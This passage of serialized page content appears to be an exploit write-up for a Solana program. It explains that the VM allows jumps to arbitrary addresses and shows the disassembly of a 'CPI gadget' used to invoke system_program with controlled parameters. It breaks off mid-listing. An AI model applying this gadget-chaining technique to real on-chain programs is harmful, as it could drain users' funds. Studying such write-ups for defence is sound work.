LR\n",{"type":19,"tag":168,"props":41445,"children":41446},{"class":170,"line":198},[41447],{"type":19,"tag":168,"props":41448,"children":41449},{},[41450],{"type":24,"value":41451}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":19,"tag":168,"props":41453,"children":41454},{"class":170,"line":415},[41455],{"type":19,"tag":168,"props":41456,"children":41457},{},[41458],{"type":24,"value":41459}," B --> C[2: process]\n",{"type":19,"tag":168,"props":41461,"children":41462},{"class":170,"line":450},[41463],{"type":19,"tag":168,"props":41464,"children":41465},{},[41466],{"type":24,"value":41467}," C --> D[3: gadget1]\n",{"type":19,"tag":168,"props":41469,"children":41470},{"class":170,"line":560},[41471],{"type":19,"tag":168,"props":41472,"children":41473},{},[41474],{"type":24,"value":41475}," C --> E[3: process]\n",{"type":19,"tag":168,"props":41477,"children":41478},{"class":170,"line":666},[41479],{"type":19,"tag":168,"props":41480,"children":41481},{},[41482],{"type":24,"value":41483}," E --> F[4: gadget2]\n",{"type":19,"tag":168,"props":41485,"children":41486},{"class":170,"line":694},[41487],{"type":19,"tag":168,"props":41488,"children":41489},{},[41490],{"type":24,"value":41491}," E --> G[...]\n",{"type":19,"tag":20,"props":41493,"children":41494},{},[41495],{"type":24,"value":41496},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":19,"tag":20,"props":41498,"children":41499},{},[41500,41502,41508],{"type":24,"value":41501},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":19,"tag":269,"props":41503,"children":41505},{"href":37963,"rel":41504},[273],[41506],{"type":24,"value":41507},"Binary Ninja",{"type":24,"value":41509}," to find a suitable gadget for this.",{"type":19,"tag":20,"props":41511,"children":41512},{},[41513,41515,41522],{"type":24,"value":41514},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":19,"tag":269,"props":41516,"children":41519},{"href":41517,"rel":41518},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[273],[41520],{"type":24,"value":41521},"skip the strip pass",{"type":24,"value":948},{"type":19,"tag":7050,"props":41524,"children":41526},{"id":41525},"cpi-gadget",[41527],{"type":24,"value":41528},"CPI Gadget",{"type":19,"tag":20,"props":41530,"children":41531},{},[41532,41534,41539,41541,41548,41550,41556],{"type":24,"value":41533},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":19,"tag":27,"props":41535,"children":41537},{"className":41536},[],[41538],{"type":24,"value":35771},{"type":24,"value":41540}," function. This function calls into the solana sdk's function ",{"type":19,"tag":269,"props":41542,"children":41545},{"href":41543,"rel":41544},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[273],[41546],{"type":24,"value":41547},"invoke_signed_unchecked",{"type":24,"value":41549},", yielding a powerful gadget at the address ",{"type":19,"tag":27,"props":41551,"children":41553},{"className":41552},[],[41554],{"type":24,"value":41555},"0x100001ba8",{"type":24,"value":948},{"type":19,"tag":158,"props":41558,"children":41560},{"className":363,"code":41559,"language":362,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[41561],{"type":19,"tag":27,"props":41562,"children":41563},{"__ignoreMap":7},[41564,41589,41645,41696,41748,41800,41823,41871,41878,41910,41961,42019,42053,42060,42109,42139,42214,42221,42272,42318,42325,42356,42407,42437,42459,42466,42517,42562,42569,42620,42648,42669,42676],{"type":19,"tag":168,"props":41565,"children":41566},{"class":170,"line":171},[41567,41571,41575,41580,41584],{"type":19,"tag":168,"props":41568,"children":41569},{"style":212},[41570],{"type":24,"value":11099},{"type":19,"tag":168,"props":41572,"children":41573},{"style":399},[41574],{"type":24,"value":888},{"type":19,"tag":168,"props":41576,"children":41577},{"style":212},[41578],{"type":24,"value":41579},"program",{"type":19,"tag":168,"props":41581,"children":41582},{"style":399},[41583],{"type":24,"value":888},{"type":19,"tag":168,"props":41585,"children":41586},{"style":393},[41587],{"type":24,"value":41588},"invoke_signed_unchecked\n",{"type":19,"tag":168,"props":41590,"children":41591},{"class":170,"line":198},[41592,41597,41602,41607,41612,41617,41622,41626,41631,41636,41641],{"type":19,"tag":168,"props":41593,"children":41594},{"style":393},[41595],{"type":24,"value":41596},"100001ba8",{"type":19,"tag":168,"props":41598,"children":41599},{"style":393},[41600],{"type":24,"value":41601}," 79a278ff00000000",{"type":19,"tag":168,"props":41603,"children":41604},{"style":393},[41605],{"type":24,"value":41606}," ldxdw",{"type":19,"tag":168,"props":41608,"children":41609},{"style":393},[41610],{"type":24,"value":41611}," r2",{"type":19,"tag":168,"props":41613,"children":41614},{"style":212},[41615],{"type":24,"value":41616},", [",{"type":19,"tag":168,"props":41618,"children":41619},{"style":393},[41620],{"type":24,"value":41621},"r10",{"type":19,"tag":168,"props":41623,"children":41624},{"style":399},[41625],{"type":24,"value":1757},{"type":19,"tag":168,"props":41627,"children":41628},{"style":192},[41629],{"type":24,"value":41630},"136",{"type":19,"tag":168,"props":41632,"children":41633},{"style":212},[41634],{"type":24,"value":41635},"] {",{"type":19,"tag":168,"props":41637,"children":41638},{"style":393},[41639],{"type":24,"value":41640},"var_88",{"type":19,"tag":168,"props":41642,"children":41643},{"style":212},[41644],{"type":24,"value":1326},{"type":19,"tag":168,"props":41646,"children":41647},{"class":170,"line":415},[41648,41653,41658,41662,41667,41671,41675,41679,41683,41687,41692],{"type":19,"tag":168,"props":41649,"children":41650},{"style":393},[41651],{"type":24,"value":41652},"100001bb0",{"type":19,"tag":168,"props":41654,"children":41655},{"style":393},[41656],{"type":24,"value":41657}," 79a380ff00000000",{"type":19,"tag":168,"props":41659,"children":41660},{"style":393},[41661],{"type":24,"value":41606},{"type":19,"tag":168,"props":41663,"children":41664},{"style":393},[41665],{"type":24,"value":41666}," r3",{"type":19,"tag":168,"props":41668,"children":41669},{"style":212},[41670],{"type":24,"value":41616},{"type":19,"tag":168,"props":41672,"children":41673},{"style":393},[41674],{"type":24,"value":41621},{"type":19,"tag":168,"props":41676,"children":41677},{"style":399},[41678],{"type":24,"value":1757},{"type":19,"tag":168,"props":41680,"children":41681},{"style":192},[41682],{"type":24,"value":27318},{"type":19,"tag":168,"props":41684,"children":41685},{"style":212},[41686],{"type":24,"value":41635},{"type":19,"tag":168,"props":41688,"children":41689},{"style":393},[41690],{"type":24,"value":41691},"var_80",{"type":19,"tag":168,"props":41693,"children":41694},{"style":212},[41695],{"type":24,"value":1326},{"type":19,"tag":168,"props":41697,"children":41698},{"class":170,"line":450},[41699,41704,41709,41713,41718,41722,41726,41730,41735,41739,41744],{"type":19,"tag":168,"props":41700,"children":41701},{"style":393},[41702],{"type":24,"value":41703},"100001bb8",{"type":19,"tag":168,"props":41705,"children":41706},{"style":393},[41707],{"type":24,"value":41708}," 79a468ff00000000",{"type":19,"tag":168,"props":41710,"children":41711},{"style":393},[41712],{"type":24,"value":41606},{"type":19,"tag":168,"props":41714,"children":41715},{"style":393},[41716],{"type":24,"value":41717}," r4",{"type":19,"tag":168,"props":41719,"children":41720},{"style":212},[41721],{"type":24,"value":41616},{"type":19,"tag":168,"props":41723,"children":41724},{"style":393},[41725],{"type":24,"value":41621},{"type":19,"tag":168,"props":41727,"children":41728},{"style":399},[41729],{"type":24,"value":1757},{"type":19,"tag":168,"props":41731,"children":41732},{"style":192},[41733],{"type":24,"value":41734},"152",{"type":19,"tag":168,"props":41736,"children":41737},{"style":212},[41738],{"type":24,"value":41635},{"type":19,"tag":168,"props":41740,"children":41741},{"style":393},[41742],{"type":24,"value":41743},"var_98",{"type":19,"tag":168,"props":41745,"children":41746},{"style":212},[41747],{"type":24,"value":1326},{"type":19,"tag":168,"props":41749,"children":41750},{"class":170,"line":560},[41751,41756,41761,41765,41770,41774,41778,41782,41787,41791,41796],{"type":19,"tag":168,"props":41752,"children":41753},{"style":393},[41754],{"type":24,"value":41755},"100001bc0",{"type":19,"tag":168,"props":41757,"children":41758},{"style":393},[41759],{"type":24,"value":41760}," 79a570ff00000000",{"type":19,"tag":168,"props":41762,"children":41763},{"style":393},[41764],{"type":24,"value":41606},{"type":19,"tag":168,"props":41766,"children":41767},{"style":393},[41768],{"type":24,"value":41769}," r5",{"type":19,"tag":168,"props":41771,"children":41772},{"style":212},[41773],{"type":24,"value":41616},{"type":19,"tag":168,"props":41775,"children":41776},{"style":393},[41777],{"type":24,"value":41621},{"type":19,"tag":168,"props":41779,"children":41780},{"style":399},[41781],{"type":24,"value":1757},{"type":19,"tag":168,"props":41783,"children":41784},{"style":192},[41785],{"type":24,"value":41786},"144",{"type":19,"tag":168,"props":41788,"children":41789},{"style":212},[41790],{"type":24,"value":41635},{"type":19,"tag":168,"props":41792,"children":41793},{"style":393},[41794],{"type":24,"value":41795},"var_90",{"type":19,"tag":168,"props":41797,"children":41798},{"style":212},[41799],{"type":24,"value":1326},{"type":19,"tag":168,"props":41801,"children":41802},{"class":170,"line":666},[41803,41808,41813,41818],{"type":19,"tag":168,"props":41804,"children":41805},{"style":393},[41806],{"type":24,"value":41807},"100001bc8",{"type":19,"tag":168,"props":41809,"children":41810},{"style":192},[41811],{"type":24,"value":41812}," 8520000020100000",{"type":19,"tag":168,"props":41814,"children":41815},{"style":393},[41816],{"type":24,"value":41817}," call",{"type":19,"tag":168,"props":41819,"children":41820},{"style":393},[41821],{"type":24,"value":41822}," sol_invoke_signed_rust\n",{"type":19,"tag":168,"props":41824,"children":41825},{"class":170,"line":694},[41826,41831,41836,41841,41845,41849,41853,41857,41862,41866],{"type":19,"tag":168,"props":41827,"children":41828},{"style":393},[41829],{"type":24,"value":41830},"100001bd0",{"type":19,"tag":168,"props":41832,"children":41833},{"style":192},[41834],{"type":24,"value":41835}," 5500040000000000",{"type":19,"tag":168,"props":41837,"children":41838},{"style":393},[41839],{"type":24,"value":41840}," jne",{"type":19,"tag":168,"props":41842,"children":41843},{"style":212},[41844],{"type":24,"value":6157},{"type":19,"tag":168,"props":41846,"children":41847},{"style":399},[41848],{"type":24,"value":1811},{"type":19,"tag":168,"props":41850,"children":41851},{"style":192},[41852],{"type":24,"value":14978},{"type":19,"tag":168,"props":41854,"children":41855},{"style":212},[41856],{"type":24,"value":3255},{"type":19,"tag":168,"props":41858,"children":41859},{"style":393},[41860],{"type":24,"value":41861},"r0",{"type":19,"tag":168,"props":41863,"children":41864},{"style":212},[41865],{"type":24,"value":471},{"type":19,"tag":168,"props":41867,"children":41868},{"style":192},[41869],{"type":24,"value":41870},"0x0\n",{"type":19,"tag":168,"props":41872,"children":41873},{"class":170,"line":707},[41874],{"type":19,"tag":168,"props":41875,"children":41876},{"emptyLinePlaceholder":14},[41877],{"type":24,"value":1093},{"type":19,"tag":168,"props":41879,"children":41880},{"class":170,"line":725},[41881,41886,41891,41896,41901,41905],{"type":19,"tag":168,"props":41882,"children":41883},{"style":393},[41884],{"type":24,"value":41885},"100001bd8",{"type":19,"tag":168,"props":41887,"children":41888},{"style":393},[41889],{"type":24,"value":41890}," b701000018000000",{"type":19,"tag":168,"props":41892,"children":41893},{"style":393},[41894],{"type":24,"value":41895}," mov",{"type":19,"tag":168,"props":41897,"children":41898},{"style":393},[41899],{"type":24,"value":41900}," r1",{"type":19,"tag":168,"props":41902,"children":41903},{"style":212},[41904],{"type":24,"value":471},{"type":19,"tag":168,"props":41906,"children":41907},{"style":192},[41908],{"type":24,"value":41909},"0x18\n",{"type":19,"tag":168,"props":41911,"children":41912},{"class":170,"line":746},[41913,41918,41923,41927,41931,41935,41939,41943,41948,41952,41957],{"type":19,"tag":168,"props":41914,"children":41915},{"style":393},[41916],{"type":24,"value":41917},"100001be0",{"type":19,"tag":168,"props":41919,"children":41920},{"style":393},[41921],{"type":24,"value":41922}," 79a288ff00000000",{"type":19,"tag":168,"props":41924,"children":41925},{"style":393},[41926],{"type":24,"value":41606},{"type":19,"tag":168,"props":41928,"children":41929},{"style":393},[41930],{"type":24,"value":41611},{"type":19,"tag":168,"props":41932,"children":41933},{"style":212},[41934],{"type":24,"value":41616},{"type":19,"tag":168,"props":41936,"children":41937},{"style":393},[41938],{"type":24,"value":41621},{"type":19,"tag":168,"props":41940,"children":41941},{"style":399},[41942],{"type":24,"value":1757},{"type":19,"tag":168,"props":41944,"children":41945},{"style":192},[41946],{"type":24,"value":41947},"120",{"type":19,"tag":168,"props":41949,"children":41950},{"style":212},[41951],{"type":24,"value":41635},{"type":19,"tag":168,"props":41953,"children":41954},{"style":393},[41955],{"type":24,"value":41956},"var_78",{"type":19,"tag":168,"props":41958,"children":41959},{"style":212},[41960],{"type":24,"value":1326},{"type":19,"tag":168,"props":41962,"children":41963},{"class":170,"line":755},[41964,41969,41974,41979,41983,41988,41992,41996,42000,42005,42010,42015],{"type":19,"tag":168,"props":41965,"children":41966},{"style":393},[41967],{"type":24,"value":41968},"100001be8",{"type":19,"tag":168,"props":41970,"children":41971},{"style":192},[41972],{"type":24,"value":41973}," 6312000000000000",{"type":19,"tag":168,"props":41975,"children":41976},{"style":393},[41977],{"type":24,"value":41978}," stxw",{"type":19,"tag":168,"props":41980,"children":41981},{"style":212},[41982],{"type":24,"value":20488},{"type":19,"tag":168,"props":41984,"children":41985},{"style":393},[41986],{"type":24,"value":41987},"r2",{"type":19,"tag":168,"props":41989,"children":41990},{"style":399},[41991],{"type":24,"value":1757},{"type":19,"tag":168,"props":41993,"children":41994},{"style":192},[41995],{"type":24,"value":1452},{"type":19,"tag":168,"props":41997,"children":41998},{"style":212},[41999],{"type":24,"value":20516},{"type":19,"tag":168,"props":42001,"children":42002},{"style":393},[42003],{"type":24,"value":42004},"r1",{"type":19,"tag":168,"props":42006,"children":42007},{"style":212},[42008],{"type":24,"value":42009}," {",{"type":19,"tag":168,"props":42011,"children":42012},{"style":192},[42013],{"type":24,"value":42014},"0x18",{"type":19,"tag":168,"props":42016,"children":42017},{"style":212},[42018],{"type":24,"value":1326},{"type":19,"tag":168,"props":42020,"children":42021},{"class":170,"line":1008},[42022,42027,42032,42037,42041,42045,42049],{"type":19,"tag":168,"props":42023,"children":42024},{"style":393},[42025],{"type":24,"value":42026},"100001bf0",{"type":19,"tag":168,"props":42028,"children":42029},{"style":192},[42030],{"type":24,"value":42031}," 0500030000000000",{"type":19,"tag":168,"props":42033,"children":42034},{"style":393},[42035],{"type":24,"value":42036}," ja",{"type":19,"tag":168,"props":42038,"children":42039},{"style":212},[42040],{"type":24,"value":6157},{"type":19,"tag":168,"props":42042,"children":42043},{"style":399},[42044],{"type":24,"value":1811},{"type":19,"tag":168,"props":42046,"children":42047},{"style":192},[42048],{"type":24,"value":14745},{"type":19,"tag":168,"props":42050,"children":42051},{"style":212},[42052],{"type":24,"value":3427},{"type":19,"tag":168,"props":42054,"children":42055},{"class":170,"line":1025},[42056],{"type":19,"tag":168,"props":42057,"children":42058},{"emptyLinePlaceholder":14},[42059],{"type":24,"value":1093},{"type":19,"tag":168,"props":42061,"children":42062},{"class":170,"line":1042},[42063,42068,42073,42077,42081,42085,42089,42093,42097,42101,42105],{"type":19,"tag":168,"props":42064,"children":42065},{"style":393},[42066],{"type":24,"value":42067},"100001bf8",{"type":19,"tag":168,"props":42069,"children":42070},{"style":393},[42071],{"type":24,"value":42072}," 79a188ff00000000",{"type":19,"tag":168,"props":42074,"children":42075},{"style":393},[42076],{"type":24,"value":41606},{"type":19,"tag":168,"props":42078,"children":42079},{"style":393},[42080],{"type":24,"value":41900},{"type":19,"tag":168,"props":42082,"children":42083},{"style":212},[42084],{"type":24,"value":41616},{"type":19,"tag":168,"props":42086,"children":42087},{"style":393},[42088],{"type":24,"value":41621},{"type":19,"tag":168,"props":42090,"children":42091},{"style":399},[42092],{"type":24,"value":1757},{"type":19,"tag":168,"props":42094,"children":42095},{"style":192},[42096],{"type":24,"value":41947},{"type":19,"tag":168,"props":42098,"children":42099},{"style":212},[42100],{"type":24,"value":41635},{"type":19,"tag":168,"props":42102,"children":42103},{"style":393},[42104],{"type":24,"value":41956},{"type":19,"tag":168,"props":42106,"children":42107},{"style":212},[42108],{"type":24,"value":1326},{"type":19,"tag":168,"props":42110,"children":42111},{"class":170,"line":1055},[42112,42117,42122,42126,42130,42134],{"type":19,"tag":168,"props":42113,"children":42114},{"style":393},[42115],{"type":24,"value":42116},"100001c00",{"type":19,"tag":168,"props":42118,"children":42119},{"style":393},[42120],{"type":24,"value":42121}," bf02000000000000",{"type":19,"tag":168,"props":42123,"children":42124},{"style":393},[42125],{"type":24,"value":41895},{"type":19,"tag":168,"props":42127,"children":42128},{"style":393},[42129],{"type":24,"value":41611},{"type":19,"tag":168,"props":42131,"children":42132},{"style":212},[42133],{"type":24,"value":471},{"type":19,"tag":168,"props":42135,"children":42136},{"style":393},[42137],{"type":24,"value":42138},"r0\n",{"type":19,"tag":168,"props":42140,"children":42141},{"class":170,"line":1064},[42142,42147,42152,42156,42161,42165,42170,42174,42178,42183,42187,42191,42196,42201,42205,42209],{"type":19,"tag":168,"props":42143,"children":42144},{"style":393},[42145],{"type":24,"value":42146},"100001c08",{"type":19,"tag":168,"props":42148,"children":42149},{"style":192},[42150],{"type":24,"value":42151}," 8510000075000000",{"type":19,"tag":168,"props":42153,"children":42154},{"style":393},[42155],{"type":24,"value":41817},{"type":19,"tag":168,"props":42157,"children":42158},{"style":825},[42159],{"type":24,"value":42160}," _ZN94_",{"type":19,"tag":168,"props":42162,"children":42163},{"style":399},[42164],{"type":24,"value":7731},{"type":19,"tag":168,"props":42166,"children":42167},{"style":825},[42168],{"type":24,"value":42169},"LT",{"type":19,"tag":168,"props":42171,"children":42172},{"style":399},[42173],{"type":24,"value":7731},{"type":19,"tag":168,"props":42175,"children":42176},{"style":393},[42177],{"type":24,"value":11099},{"type":19,"tag":168,"props":42179,"children":42180},{"style":399},[42181],{"type":24,"value":42182},"...$",{"type":19,"tag":168,"props":42184,"children":42185},{"style":393},[42186],{"type":24,"value":5479},{"type":19,"tag":168,"props":42188,"children":42189},{"style":399},[42190],{"type":24,"value":7731},{"type":19,"tag":168,"props":42192,"children":42193},{"style":825},[42194],{"type":24,"value":42195},"GT",{"type":19,"tag":168,"props":42197,"children":42198},{"style":399},[42199],{"type":24,"value":42200},"$$",{"type":19,"tag":168,"props":42202,"children":42203},{"style":825},[42204],{"type":24,"value":42195},{"type":19,"tag":168,"props":42206,"children":42207},{"style":399},[42208],{"type":24,"value":7731},{"type":19,"tag":168,"props":42210,"children":42211},{"style":212},[42212],{"type":24,"value":42213},"4from17ha0d289b72861b06dE\n",{"type":19,"tag":168,"props":42215,"children":42216},{"class":170,"line":1087},[42217],{"type":19,"tag":168,"props":42218,"children":42219},{"emptyLinePlaceholder":14},[42220],{"type":24,"value":1093},{"type":19,"tag":168,"props":42222,"children":42223},{"class":170,"line":1096},[42224,42229,42234,42238,42242,42246,42250,42254,42259,42263,42268],{"type":19,"tag":168,"props":42225,"children":42226},{"style":393},[42227],{"type":24,"value":42228},"100001c10",{"type":19,"tag":168,"props":42230,"children":42231},{"style":393},[42232],{"type":24,"value":42233}," 79a2b8ff00000000",{"type":19,"tag":168,"props":42235,"children":42236},{"style":393},[42237],{"type":24,"value":41606},{"type":19,"tag":168,"props":42239,"children":42240},{"style":393},[42241],{"type":24,"value":41611},{"type":19,"tag":168,"props":42243,"children":42244},{"style":212},[42245],{"type":24,"value":41616},{"type":19,"tag":168,"props":42247,"children":42248},{"style":393},[42249],{"type":24,"value":41621},{"type":19,"tag":168,"props":42251,"children":42252},{"style":399},[42253],{"type":24,"value":1757},{"type":19,"tag":168,"props":42255,"children":42256},{"style":192},[42257],{"type":24,"value":42258},"72",{"type":19,"tag":168,"props":42260,"children":42261},{"style":212},[42262],{"type":24,"value":41635},{"type":19,"tag":168,"props":42264,"children":42265},{"style":393},[42266],{"type":24,"value":42267},"var_48",{"type":19,"tag":168,"props":42269,"children":42270},{"style":212},[42271],{"type":24,"value":1326},{"type":19,"tag":168,"props":42273,"children":42274},{"class":170,"line":1105},[42275,42280,42285,42290,42294,42298,42302,42306,42310,42314],{"type":19,"tag":168,"props":42276,"children":42277},{"style":393},[42278],{"type":24,"value":42279},"100001c18",{"type":19,"tag":168,"props":42281,"children":42282},{"style":192},[42283],{"type":24,"value":42284}," 1502040000000000",{"type":19,"tag":168,"props":42286,"children":42287},{"style":393},[42288],{"type":24,"value":42289}," jeq",{"type":19,"tag":168,"props":42291,"children":42292},{"style":212},[42293],{"type":24,"value":6157},{"type":19,"tag":168,"props":42295,"children":42296},{"style":399},[42297],{"type":24,"value":1811},{"type":19,"tag":168,"props":42299,"children":42300},{"style":192},[42301],{"type":24,"value":14978},{"type":19,"tag":168,"props":42303,"children":42304},{"style":212},[42305],{"type":24,"value":3255},{"type":19,"tag":168,"props":42307,"children":42308},{"style":393},[42309],{"type":24,"value":41987},{"type":19,"tag":168,"props":42311,"children":42312},{"style":212},[42313],{"type":24,"value":471},{"type":19,"tag":168,"props":42315,"children":42316},{"style":192},[42317],{"type":24,"value":41870},{"type":19,"tag":168,"props":42319,"children":42320},{"class":170,"line":1174},[42321],{"type":19,"tag":168,"props":42322,"children":42323},{"emptyLinePlaceholder":14},[42324],{"type":24,"value":1093},{"type":19,"tag":168,"props":42326,"children":42327},{"class":170,"line":1182},[42328,42333,42338,42343,42347,42351],{"type":19,"tag":168,"props":42329,"children":42330},{"style":393},[42331],{"type":24,"value":42332},"100001c20",{"type":19,"tag":168,"props":42334,"children":42335},{"style":192},[42336],{"type":24,"value":42337}," 2702000022000000",{"type":19,"tag":168,"props":42339,"children":42340},{"style":393},[42341],{"type":24,"value":42342}," mul",{"type":19,"tag":168,"props":42344,"children":42345},{"style":393},[42346],{"type":24,"value":41611},{"type":19,"tag":168,"props":42348,"children":42349},{"style":212},[42350],{"type":24,"value":471},{"type":19,"tag":168,"props":42352,"children":42353},{"style":192},[42354],{"type":24,"value":42355},"0x22\n",{"type":19,"tag":168,"props":42357,"children":42358},{"class":170,"line":1212},[42359,42364,42369,42373,42377,42381,42385,42389,42394,42398,42403],{"type":19,"tag":168,"props":42360,"children":42361},{"style":393},[42362],{"type":24,"value":42363},"100001c28",{"type":19,"tag":168,"props":42365,"children":42366},{"style":393},[42367],{"type":24,"value":42368}," 79a1b0ff00000000",{"type":19,"tag":168,"props":42370,"children":42371},{"style":393},[42372],{"type":24,"value":41606},{"type":19,"tag":168,"props":42374,"children":42375},{"style":393},[42376],{"type":24,"value":41900},{"type":19,"tag":168,"props":42378,"children":42379},{"style":212},[42380],{"type":24,"value":41616},{"type":19,"tag":168,"props":42382,"children":42383},{"style":393},[42384],{"type":24,"value":41621},{"type":19,"tag":168,"props":42386,"children":42387},{"style":399},[42388],{"type":24,"value":1757},{"type":19,"tag":168,"props":42390,"children":42391},{"style":192},[42392],{"type":24,"value":42393},"80",{"type":19,"tag":168,"props":42395,"children":42396},{"style":212},[42397],{"type":24,"value":41635},{"type":19,"tag":168,"props":42399,"children":42400},{"style":393},[42401],{"type":24,"value":42402},"var_50",{"type":19,"tag":168,"props":42404,"children":42405},{"style":212},[42406],{"type":24,"value":1326},{"type":19,"tag":168,"props":42408,"children":42409},{"class":170,"line":1220},[42410,42415,42420,42424,42428,42432],{"type":19,"tag":168,"props":42411,"children":42412},{"style":393},[42413],{"type":24,"value":42414},"100001c30",{"type":19,"tag":168,"props":42416,"children":42417},{"style":393},[42418],{"type":24,"value":42419}," b703000001000000",{"type":19,"tag":168,"props":42421,"children":42422},{"style":393},[42423],{"type":24,"value":41895},{"type":19,"tag":168,"props":42425,"children":42426},{"style":393},[42427],{"type":24,"value":41666},{"type":19,"tag":168,"props":42429,"children":42430},{"style":212},[42431],{"type":24,"value":471},{"type":19,"tag":168,"props":42433,"children":42434},{"style":192},[42435],{"type":24,"value":42436},"0x1\n",{"type":19,"tag":168,"props":42438,"children":42439},{"class":170,"line":1252},[42440,42445,42450,42454],{"type":19,"tag":168,"props":42441,"children":42442},{"style":393},[42443],{"type":24,"value":42444},"100001c38",{"type":19,"tag":168,"props":42446,"children":42447},{"style":393},[42448],{"type":24,"value":42449}," 8510000003feffff",{"type":19,"tag":168,"props":42451,"children":42452},{"style":393},[42453],{"type":24,"value":41817},{"type":19,"tag":168,"props":42455,"children":42456},{"style":393},[42457],{"type":24,"value":42458}," __rust_dealloc\n",{"type":19,"tag":168,"props":42460,"children":42461},{"class":170,"line":1260},[42462],{"type":19,"tag":168,"props":42463,"children":42464},{"emptyLinePlaceholder":14},[42465],{"type":24,"value":1093},{"type":19,"tag":168,"props":42467,"children":42468},{"class":170,"line":1320},[42469,42474,42479,42483,42487,42491,42495,42499,42504,42508,42513],{"type":19,"tag":168,"props":42470,"children":42471},{"style":393},[42472],{"type":24,"value":42473},"100001c40",{"type":19,"tag":168,"props":42475,"children":42476},{"style":393},[42477],{"type":24,"value":42478}," 79a2d0ff00000000",{"type":19,"tag":168,"props":42480,"children":42481},{"style":393},[42482],{"type":24,"value":41606},{"type":19,"tag":168,"props":42484,"children":42485},{"style":393},[42486],{"type":24,"value":41611},{"type":19,"tag":168,"props":42488,"children":42489},{"style":212},[42490],{"type":24,"value":41616},{"type":19,"tag":168,"props":42492,"children":42493},{"style":393},[42494],{"type":24,"value":41621},{"type":19,"tag":168,"props":42496,"children":42497},{"style":399},[42498],{"type":24,"value":1757},{"type":19,"tag":168,"props":42500,"children":42501},{"style":192},[42502],{"type":24,"value":42503},"48",{"type":19,"tag":168,"props":42505,"children":42506},{"style":212},[42507],{"type":24,"value":41635},{"type":19,"tag":168,"props":42509,"children":42510},{"style":393},[42511],{"type":24,"value":42512},"var_30",{"type":19,"tag":168,"props":42514,"children":42515},{"style":212},[42516],{"type":24,"value":1326},{"type":19,"tag":168,"props":42518,"children":42519},{"class":170,"line":6486},[42520,42525,42530,42534,42538,42542,42546,42550,42554,42558],{"type":19,"tag":168,"props":42521,"children":42522},{"style":393},[42523],{"type":24,"value":42524},"100001c48",{"type":19,"tag":168,"props":42526,"children":42527},{"style":192},[42528],{"type":24,"value":42529}," 1502030000000000",{"type":19,"tag":168,"props":42531,"children":42532},{"style":393},[42533],{"type":24,"value":42289},{"type":19,"tag":168,"props":42535,"children":42536},{"style":212},[42537],{"type":24,"value":6157},{"type":19,"tag":168,"props":42539,"children":42540},{"style":399},[42541],{"type":24,"value":1811},{"type":19,"tag":168,"props":42543,"children":42544},{"style":192},[42545],{"type":24,"value":14745},{"type":19,"tag":168,"props":42547,"children":42548},{"style":212},[42549],{"type":24,"value":3255},{"type":19,"tag":168,"props":42551,"children":42552},{"style":393},[42553],{"type":24,"value":41987},{"type":19,"tag":168,"props":42555,"children":42556},{"style":212},[42557],{"type":24,"value":471},{"type":19,"tag":168,"props":42559,"children":42560},{"style":192},[42561],{"type":24,"value":41870},{"type":19,"tag":168,"props":42563,"children":42564},{"class":170,"line":6504},[42565],{"type":19,"tag":168,"props":42566,"children":42567},{"emptyLinePlaceholder":14},[42568],{"type":24,"value":1093},{"type":19,"tag":168,"props":42570,"children":42571},{"class":170,"line":6549},[42572,42577,42582,42586,42590,42594,42598,42602,42607,42611,42616],{"type":19,"tag":168,"props":42573,"children":42574},{"style":393},[42575],{"type":24,"value":42576},"100001c50",{"type":19,"tag":168,"props":42578,"children":42579},{"style":393},[42580],{"type":24,"value":42581}," 